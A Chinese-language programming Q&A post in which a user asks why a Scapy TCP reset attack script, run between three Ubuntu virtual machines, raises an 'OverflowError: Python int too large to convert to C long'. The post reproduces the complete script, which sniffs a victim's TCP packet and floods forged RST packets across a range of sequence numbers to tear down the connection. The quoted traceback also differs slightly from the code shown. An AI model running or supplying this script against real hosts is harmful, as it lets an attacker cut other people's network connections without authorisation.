溢出错误:Python int太大,无法转换为C长TCP重置攻击代码

2024-10-01 02:21:18 发布

您现在位置:Python中文网/ 问答频道 /正文

我从这里得到了以下代码:https://gist.github.com/spinpx/263a2ed86f974a55d35cf6c3a2541dc2

我尝试使用3个Ubuntu虚拟机(Ubuntu 16.04.2 LTS)执行攻击 ).这是我的密码:

#!/usr/bin/python

from scapy.all import *

win=512
tcp_rst_count = 10
victim_ip = "10.0.2.5"
your_iface = "enp0s3"

# get a tcp packet by sniffing LAN
t = sniff(iface=your_iface, count=1,
                    lfilter=lambda x: x.haslayer(TCP)
                    and x[IP].src == victim_ip)

t = t[0]
tcpdata = {
        'src': t[IP].src,
        'dst': t[IP].dst,
        'sport': t[TCP].sport,
        'dport': t[TCP].dport,
        'seq': t[TCP].seq,
        'ack': t[TCP].ack
    }

max_seq = tcpdata['ack'] + tcp_rst_count * win
seqs = range(tcpdata['ack'], max_seq, int(win / 2))
p = IP(src=tcpdata['dst'], dst=tcpdata['src']) / \
                TCP(sport=tcpdata['dport'], dport=tcpdata['sport'],
                                flags="R", window=win, seq=seqs[0])

for seq in seqs:
        p.seq = seq
        send(p, verbose=0, iface=your_iface)
        print('tcp reset attack finish')

代码在VM1中运行。我运行它并尝试从VM2远程登录到VM3,一旦我这样做,我就会得到以下异常:

Traceback (most recent call last):
  File "./tcp_rst.py", line 26, in <module>
    seqs = range(tcpdata['ack'], max_seq, long(win / 2))
OverflowError: Python int too large to convert to C long

这其中的罪魁祸首可能是什么。在做一些研究时,我没有看到range函数出现这种异常


Tags: ipsrccountrstwinseqtcpdst